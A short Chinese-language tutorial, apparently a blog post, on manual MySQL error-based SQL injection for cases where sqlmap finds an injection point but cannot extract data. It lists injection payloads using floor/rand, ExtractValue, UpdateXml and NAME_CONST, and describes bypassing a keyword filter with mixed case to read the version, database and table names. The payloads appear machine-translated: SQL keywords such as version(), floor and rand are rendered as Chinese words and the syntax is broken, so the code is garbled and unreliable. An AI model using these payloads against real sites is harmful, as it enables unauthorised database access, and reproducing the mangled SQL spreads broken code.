,,,,在我们实际* * *中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。
图1获取数据库失败
,,,,此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。
,,,,通过地板报错:
以及select 1,得到(select count (*), concat(版本(),地板(兰德(0)* 2))x 得到information_schema.tables group by x))
以及(select count(*),得到(select 1, union select null union select , ! 1) x group by concat (()) (select 版本,地板(兰德(0)* 2)))
,,,,通过ExtractValue报错:
以及ExtractValue (1, concat (0 x7f,, (select 版本()),0 x7f))
,,,,通过UpdateXml报错:
以及1=(UpdateXml (1, concat (0 x7f (select 版本()),0 x7f), 1))
,,,,通过NAME_CONST报错:
以及1=(select *,得到(select NAME_CONST(版本(),1),NAME_CONST(版本(),1)),as x)
,,通过错误的双重查询:
一、1,group by concat_ws (0 x7f,版本(),地板(兰德(0)* 2)),having 最小值(0),或1
,,,,在这里我们以UpdateXml报错进行实战演示,如图2所示是一个显错注入点。
图2显错注入点
,,,,此时我们将通过UpdateXml来进行sql注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。
图3获取数据库版本信息
,,,,获取数据库名,如图4所示。
图4获取数据名
,,,,获取表名,如图5所示。
图5获取表名
,,,,后续操作请参考文章《mysql手工注入》,这里不再进行累赘!